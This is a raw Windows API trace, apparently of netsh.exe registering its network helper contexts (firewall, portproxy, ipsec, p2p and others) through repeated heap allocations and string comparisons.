0x2b436220000 [0136.145] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.146] RegisterContext () returned 0x0 [0136.146] _wcsicmp (_String1="firewall", _String2="consec") returned 3 [0136.146] _wcsicmp (_String1="firewall", _String2="consec") returned 3 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265de0 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436271050) returned 1 [0136.146] RegisterContext () returned 0x0 [0136.146] _wcsicmp (_String1="monitor", _String2="consec") returned 10 [0136.146] _wcsicmp (_String1="monitor", _String2="firewall") returned 7 [0136.146] _wcsicmp (_String1="monitor", _String2="consec") returned 10 [0136.146] _wcsicmp (_String1="monitor", _String2="firewall") returned 7 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b436273b30 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436265de0) returned 1 [0136.146] RegisterContext () returned 0x0 [0136.146] _wcsicmp (_String1="mainmode", _String2="consec") returned 10 [0136.146] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7 [0136.146] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14 [0136.146] _wcsicmp (_String1="mainmode", _String2="consec") returned 10 [0136.146] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7 [0136.146] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1c0) returned 0x2b436273c90 [0136.146] GetProcessHeap () returned 0x2b436220000 [0136.146] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436273b30) returned 1 [0136.146] RegisterContext () returned 0x0 [0136.146] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3 [0136.146] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5 [0136.146] _wcsicmp (_String1="dhcpclient", _String2="ras") returned -14 [0136.146] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3 [0136.147] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5 [0136.147] GetProcessHeap () returned 0x2b436220000 [0136.147] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1c0) returned 0x2b436273e60 [0136.147] GetProcessHeap () returned 0x2b436220000 [0136.147] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626cf70) returned 1 [0136.147] RegisterContext () returned 0x0 [0136.147] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11 [0136.147] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8 [0136.147] _wcsicmp (_String1="lan", _String2="interface") returned 3 [0136.147] _wcsicmp (_String1="lan", _String2="ras") returned -6 [0136.147] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11 [0136.147] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8 [0136.147] _wcsicmp (_String1="lan", _String2="interface") returned 3 [0136.147] _wcsicmp (_String1="lan", _String2="ras") returned -6 [0136.147] GetProcessHeap () returned 0x2b436220000 [0136.147] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x230) returned 0x2b43626cf70 [0136.147] GetProcessHeap () returned 0x2b436220000 [0136.147] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436273e60) returned 1 [0136.148] RegisterContext () returned 0x0 [0136.148] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5 [0136.148] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2 [0136.148] _wcsicmp (_String1="firewall", _String2="interface") returned -3 [0136.148] _wcsicmp (_String1="firewall", _String2="lan") returned -6 [0136.148] _wcsicmp (_String1="firewall", _String2="ras") returned -12 [0136.148] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5 [0136.148] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2 [0136.148] _wcsicmp (_String1="firewall", _String2="interface") returned -3 [0136.148] GetProcessHeap () returned 0x2b436220000 [0136.148] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2a0) returned 0x2b43627eb90 [0136.148] GetProcessHeap () returned 0x2b436220000 [0136.148] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626cf70) returned 1 [0136.148] RegisterContext () returned 0x0 [0136.148] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1 [0136.148] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2 [0136.148] _wcsicmp (_String1="bridge", _String2="firewall") returned -4 [0136.148] _wcsicmp (_String1="bridge", _String2="interface") returned -7 [0136.148] _wcsicmp (_String1="bridge", _String2="lan") returned -10 [0136.148] _wcsicmp (_String1="bridge", _String2="ras") returned -16 [0136.148] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1 [0136.148] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2 [0136.148] GetProcessHeap () returned 0x2b436220000 [0136.148] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x310) returned 0x2b436274480 [0136.148] GetProcessHeap () returned 0x2b436220000 [0136.148] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43627eb90) returned 1 [0136.148] RegisterContext () returned 0x0 [0136.149] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13 [0136.149] _wcsicmp (_String1="netio", _String2="bridge") returned 12 [0136.149] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10 [0136.149] _wcsicmp (_String1="netio", _String2="firewall") returned 8 [0136.149] _wcsicmp (_String1="netio", _String2="interface") returned 5 [0136.149] _wcsicmp (_String1="netio", _String2="lan") returned 2 [0136.149] _wcsicmp (_String1="netio", _String2="ras") returned -4 [0136.149] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13 [0136.149] _wcsicmp (_String1="netio", _String2="bridge") returned 12 [0136.149] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10 [0136.149] _wcsicmp (_String1="netio", _String2="firewall") returned 8 [0136.149] _wcsicmp (_String1="netio", _String2="interface") returned 5 [0136.149] _wcsicmp (_String1="netio", _String2="lan") returned 2 [0136.149] _wcsicmp (_String1="netio", _String2="ras") returned -4 [0136.149] GetProcessHeap () returned 0x2b436220000 [0136.149] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x380) returned 0x2b43627eb90 [0136.149] GetProcessHeap () returned 0x2b436220000 [0136.149] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274480) returned 1 [0136.149] RegisterContext () returned 0x0 [0136.149] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3 [0136.149] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2 [0136.149] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6 [0136.149] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2 [0136.149] _wcsicmp (_String1="dnsclient", _String2="interface") returned -5 [0136.149] _wcsicmp (_String1="dnsclient", _String2="lan") returned -8 [0136.149] _wcsicmp (_String1="dnsclient", _String2="netio") returned -10 [0136.149] _wcsicmp (_String1="dnsclient", _String2="ras") returned -14 [0136.149] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3 [0136.149] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2 [0136.149] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6 [0136.149] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2 [0136.149] GetProcessHeap () returned 0x2b436220000 [0136.149] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x3f0) returned 0x2b436274480 [0136.149] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43627eb90) returned 1 [0136.150] RegisterContext () returned 0x0 [0136.150] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13 [0136.150] _wcsicmp (_String1="namespace", _String2="bridge") returned 12 [0136.150] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10 [0136.150] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10 [0136.150] _wcsicmp (_String1="namespace", _String2="firewall") returned 8 [0136.150] _wcsicmp (_String1="namespace", _String2="interface") returned 5 [0136.150] _wcsicmp (_String1="namespace", _String2="lan") returned 2 [0136.150] _wcsicmp (_String1="namespace", _String2="netio") returned -4 [0136.150] _wcsicmp (_String1="namespace", _String2="ras") returned -4 [0136.150] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13 [0136.150] _wcsicmp (_String1="namespace", _String2="bridge") returned 12 [0136.150] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10 [0136.150] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10 [0136.150] _wcsicmp (_String1="namespace", _String2="firewall") returned 8 [0136.150] _wcsicmp (_String1="namespace", _String2="interface") returned 5 [0136.150] _wcsicmp (_String1="namespace", _String2="lan") returned 2 [0136.150] _wcsicmp (_String1="namespace", _String2="netio") returned -4 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x460) returned 0x2b436274d50 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274480) returned 1 [0136.150] RegisterContext () returned 0x0 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436271050 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.150] RegisterContext () returned 0x0 [0136.150] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2 [0136.150] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.150] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436266380 [0136.150] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436271050) returned 1 [0136.151] RegisterContext () returned 0x0 [0136.151] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51 [0136.151] _wcsicmp (_String1="6to4", _String2="ipv6") returned -51 [0136.151] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b436273b30 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436266380) returned 1 [0136.151] RegisterContext () returned 0x0 [0136.151] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0136.151] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3 [0136.151] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3 [0136.151] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0136.151] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3 [0136.151] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1c0) returned 0x2b436273e60 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436273b30) returned 1 [0136.151] RegisterContext () returned 0x0 [0136.151] _wcsicmp (_String1="teredo", _String2="6to4") returned 62 [0136.151] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11 [0136.151] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11 [0136.151] _wcsicmp (_String1="teredo", _String2="isatap") returned 11 [0136.151] _wcsicmp (_String1="teredo", _String2="6to4") returned 62 [0136.151] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11 [0136.151] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11 [0136.151] _wcsicmp (_String1="teredo", _String2="isatap") returned 11 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x230) returned 0x2b43626cf70 [0136.151] GetProcessHeap () returned 0x2b436220000 [0136.151] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436273e60) returned 1 [0136.152] RegisterContext () returned 0x0 [0136.152] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0136.152] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4 [0136.152] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0136.152] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0136.152] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2a0) returned 0x2b43627eb90 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626cf70) returned 1 [0136.152] RegisterContext () returned 0x0 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436271050 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.152] RegisterContext () returned 0x0 [0136.152] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0136.152] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265930 [0136.152] GetProcessHeap () returned 0x2b436220000 [0136.152] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436271050) returned 1 [0136.152] RegisterContext () returned 0x0 [0136.153] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0136.153] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0136.153] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0136.153] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0136.153] _wcsicmp (_String1="portproxy", _String2="portproxy") returned 0 [0136.153] RegisterContext () returned 0x0 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="ipv6") returned -1 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="isatap") returned -1 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="portproxy") returned -8 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="teredo") returned -12 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50 [0136.153] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1 [0136.153] GetProcessHeap () returned 0x2b436220000 [0136.153] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x310) returned 0x2b436274480 [0136.153] GetProcessHeap () returned 0x2b436220000 [0136.153] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43627eb90) returned 1 [0136.153] RegisterContext () returned 0x0 [0136.153] _wcsicmp (_String1="tcp", _String2="6to4") returned 62 [0136.153] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12 [0136.153] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="isatap") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4 [0136.153] _wcsicmp (_String1="tcp", _String2="teredo") returned -2 [0136.153] _wcsicmp (_String1="tcp", _String2="6to4") returned 62 [0136.153] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12 [0136.153] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="isatap") returned 11 [0136.153] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4 [0136.153] _wcsicmp (_String1="tcp", _String2="teredo") returned -2 [0136.153] GetProcessHeap () returned 0x2b436220000 [0136.153] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x380) returned 0x2b43627eb90 [0136.154] GetProcessHeap () returned 0x2b436220000 [0136.154] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274480) returned 1 [0136.154] RegisterContext () returned 0x0 [0136.154] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19 [0136.154] _wcsicmp (_String1="trace", _String2="bridge") returned 18 [0136.154] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16 [0136.154] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16 [0136.154] _wcsicmp (_String1="trace", _String2="firewall") returned 14 [0136.154] _wcsicmp (_String1="trace", _String2="interface") returned 11 [0136.154] _wcsicmp (_String1="trace", _String2="lan") returned 8 [0136.154] _wcsicmp (_String1="trace", _String2="namespace") returned 6 [0136.154] _wcsicmp (_String1="trace", _String2="netio") returned 6 [0136.154] _wcsicmp (_String1="trace", _String2="ras") returned 2 [0136.154] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19 [0136.154] _wcsicmp (_String1="trace", _String2="bridge") returned 18 [0136.154] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16 [0136.154] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16 [0136.154] _wcsicmp (_String1="trace", _String2="firewall") returned 14 [0136.154] _wcsicmp (_String1="trace", _String2="interface") returned 11 [0136.154] _wcsicmp (_String1="trace", _String2="lan") returned 8 [0136.154] _wcsicmp (_String1="trace", _String2="namespace") returned 6 [0136.154] _wcsicmp (_String1="trace", _String2="netio") returned 6 [0136.154] _wcsicmp (_String1="trace", _String2="ras") returned 2 [0136.154] GetProcessHeap () returned 0x2b436220000 [0136.154] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4d0) returned 0x2b4362751c0 [0136.154] GetProcessHeap () returned 0x2b436220000 [0136.154] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.155] RegisterContext () returned 0x0 [0136.155] _wcsicmp (_String1="http", _String2="advfirewall") returned 7 [0136.155] _wcsicmp (_String1="http", _String2="bridge") returned 6 [0136.155] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4 [0136.155] _wcsicmp (_String1="http", _String2="dnsclient") returned 4 [0136.155] _wcsicmp (_String1="http", _String2="firewall") returned 2 [0136.155] _wcsicmp (_String1="http", _String2="interface") returned -1 [0136.155] _wcsicmp (_String1="http", _String2="lan") returned -4 [0136.155] _wcsicmp (_String1="http", _String2="namespace") returned -6 [0136.155] _wcsicmp (_String1="http", _String2="netio") returned -6 [0136.155] _wcsicmp (_String1="http", _String2="ras") returned -10 [0136.155] _wcsicmp (_String1="http", _String2="trace") returned -12 [0136.155] _wcsicmp (_String1="http", _String2="advfirewall") returned 7 [0136.155] _wcsicmp (_String1="http", _String2="bridge") returned 6 [0136.155] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4 [0136.155] _wcsicmp (_String1="http", _String2="dnsclient") returned 4 [0136.155] _wcsicmp (_String1="http", _String2="firewall") returned 2 [0136.155] _wcsicmp (_String1="http", _String2="interface") returned -1 [0136.155] GetProcessHeap () returned 0x2b436220000 [0136.155] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x540) returned 0x2b436275eb0 [0136.155] GetProcessHeap () returned 0x2b436220000 [0136.155] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362751c0) returned 1 [0136.155] RegisterContext () returned 0x0 [0136.155] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8 [0136.155] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7 [0136.155] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5 [0136.155] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5 [0136.155] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3 [0136.155] _wcsicmp (_String1="ipsec", _String2="http") returned 1 [0136.155] _wcsicmp (_String1="ipsec", _String2="interface") returned 2 [0136.156] _wcsicmp (_String1="ipsec", _String2="lan") returned -3 [0136.156] _wcsicmp (_String1="ipsec", _String2="namespace") returned -5 [0136.156] _wcsicmp (_String1="ipsec", _String2="netio") returned -5 [0136.156] _wcsicmp (_String1="ipsec", _String2="ras") returned -9 [0136.156] _wcsicmp (_String1="ipsec", _String2="trace") returned -11 [0136.156] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8 [0136.156] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7 [0136.156] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5 [0136.156] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5 [0136.156] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3 [0136.156] _wcsicmp (_String1="ipsec", _String2="http") returned 1 [0136.156] _wcsicmp (_String1="ipsec", _String2="interface") returned 2 [0136.156] _wcsicmp (_String1="ipsec", _String2="lan") returned -3 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x5b0) returned 0x2b436274d50 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275eb0) returned 1 [0136.156] RegisterContext () returned 0x0 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b43627ef20 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.156] RegisterContext () returned 0x0 [0136.156] _wcsicmp (_String1="dynamic", _String2="static") returned -15 [0136.156] _wcsicmp (_String1="dynamic", _String2="static") returned -15 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265840 [0136.156] GetProcessHeap () returned 0x2b436220000 [0136.156] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43627ef20) returned 1 [0136.156] RegisterContext () returned 0x0 [0136.156] _wcsicmp (_String1="static", _String2="dynamic") returned 15 [0136.157] _wcsicmp (_String1="static", _String2="static") returned 0 [0136.157] RegisterContext () returned 0x0 [0136.157] _wcsicmp (_String1="dynamic", _String2="dynamic") returned 0 [0136.157] RegisterContext () returned 0x0 [0136.157] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22 [0136.157] _wcsicmp (_String1="wfp", _String2="bridge") returned 21 [0136.157] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19 [0136.157] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19 [0136.157] _wcsicmp (_String1="wfp", _String2="firewall") returned 17 [0136.157] _wcsicmp (_String1="wfp", _String2="http") returned 15 [0136.157] _wcsicmp (_String1="wfp", _String2="interface") returned 14 [0136.157] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14 [0136.157] _wcsicmp (_String1="wfp", _String2="lan") returned 11 [0136.157] _wcsicmp (_String1="wfp", _String2="namespace") returned 9 [0136.157] _wcsicmp (_String1="wfp", _String2="netio") returned 9 [0136.157] _wcsicmp (_String1="wfp", _String2="ras") returned 5 [0136.157] _wcsicmp (_String1="wfp", _String2="trace") returned 3 [0136.157] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22 [0136.157] _wcsicmp (_String1="wfp", _String2="bridge") returned 21 [0136.157] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19 [0136.157] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19 [0136.157] _wcsicmp (_String1="wfp", _String2="firewall") returned 17 [0136.157] _wcsicmp (_String1="wfp", _String2="http") returned 15 [0136.157] _wcsicmp (_String1="wfp", _String2="interface") returned 14 [0136.157] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14 [0136.157] _wcsicmp (_String1="wfp", _String2="lan") returned 11 [0136.157] _wcsicmp (_String1="wfp", _String2="namespace") returned 9 [0136.158] _wcsicmp (_String1="wfp", _String2="netio") returned 9 [0136.158] _wcsicmp (_String1="wfp", _String2="ras") returned 5 [0136.158] _wcsicmp (_String1="wfp", _String2="trace") returned 3 [0136.158] GetProcessHeap () returned 0x2b436220000 [0136.158] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x620) returned 0x2b436275eb0 [0136.158] GetProcessHeap () returned 0x2b436220000 [0136.158] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.158] RegisterContext () returned 0x0 [0136.158] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15 [0136.158] _wcsicmp (_String1="p2p", _String2="bridge") returned 14 [0136.158] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12 [0136.158] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12 [0136.158] _wcsicmp (_String1="p2p", _String2="firewall") returned 10 [0136.158] _wcsicmp (_String1="p2p", _String2="http") returned 8 [0136.158] _wcsicmp (_String1="p2p", _String2="interface") returned 7 [0136.159] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7 [0136.159] _wcsicmp (_String1="p2p", _String2="lan") returned 4 [0136.159] _wcsicmp (_String1="p2p", _String2="namespace") returned 2 [0136.159] _wcsicmp (_String1="p2p", _String2="netio") returned 2 [0136.159] _wcsicmp (_String1="p2p", _String2="ras") returned -2 [0136.159] _wcsicmp (_String1="p2p", _String2="trace") returned -4 [0136.159] _wcsicmp (_String1="p2p", _String2="wfp") returned -7 [0136.159] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15 [0136.159] _wcsicmp (_String1="p2p", _String2="bridge") returned 14 [0136.159] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12 [0136.159] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12 [0136.159] _wcsicmp (_String1="p2p", _String2="firewall") returned 10 [0136.159] _wcsicmp (_String1="p2p", _String2="http") returned 8 [0136.159] _wcsicmp (_String1="p2p", _String2="interface") returned 7 [0136.159] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7 [0136.159] _wcsicmp (_String1="p2p", _String2="lan") returned 4 [0136.159] _wcsicmp (_String1="p2p", _String2="namespace") returned 2 [0136.159] _wcsicmp (_String1="p2p", _String2="netio") returned 2 [0136.159] _wcsicmp (_String1="p2p", _String2="ras") returned -2 [0136.159] GetProcessHeap () returned 0x2b436220000 [0136.159] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x690) returned 0x2b4362764e0 [0136.159] GetProcessHeap () returned 0x2b436220000 [0136.159] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275eb0) returned 1 [0136.159] RegisterContext () returned 0x0 [0136.159] GetProcessHeap () returned 0x2b436220000 [0136.159] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436274880 [0136.159] GetProcessHeap () returned 0x2b436220000 [0136.159] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.160] RegisterContext () returned 0x0 [0136.160] _wcsicmp (_String1="group", _String2="pnrp") returned -9 [0136.160] _wcsicmp (_String1="group", _String2="pnrp") returned -9 [0136.160] GetProcessHeap () returned 0x2b436220000 [0136.160] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436266290 [0136.160] GetProcessHeap () returned 0x2b436220000 [0136.160] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274880) returned 1 [0136.160] RegisterContext () returned 0x0 [0136.160] _wcsicmp (_String1="idmgr", _String2="group") returned 2 [0136.160] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7 [0136.160] _wcsicmp (_String1="idmgr", _String2="group") returned 2 [0136.160] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7 [0136.160] GetProcessHeap () returned 0x2b436220000 